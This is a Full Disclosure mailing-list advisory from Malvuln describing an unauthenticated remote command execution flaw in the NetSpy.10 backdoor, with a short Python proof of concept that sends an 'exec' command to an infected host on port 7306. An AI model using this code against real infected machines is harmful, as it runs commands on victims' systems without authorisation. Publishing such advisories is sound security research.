[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Backdoor.Win32.NetSpy.10 / Unauthenticated Remote Command Execution
From:       malvuln <malvuln13 () gmail ! com>
Date:       2022-04-15 1:54:14
Message-ID: CAAHK0WR_tC_QYjktkF3A9kKsUYA93=S6kYRr8e-z3L8UXcmAMw () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/45d413b46f1d14a45e8fd36921813d62.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7306. Attackers who can reach
infected hosts can run commands made available by the backdoor. Sending
commands using Ncat and Telnet both fail with errors, probably don't like
the linefeed chars, so need to write your own custom client. Example
commands avail are put, mkd, exec and msg.
Family: NetSpy
Type: PE32
MD5: 45d413b46f1d14a45e8fd36921813d62
Vuln ID: MVID-2022-0551
Disclosure: 04/14/2022

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7306
CMD="exec c:\\Windows\\system32\\calc.exe"

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    s.send(CMD)
    time.sleep(1)
    print(chk_res(s))
    s.close()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic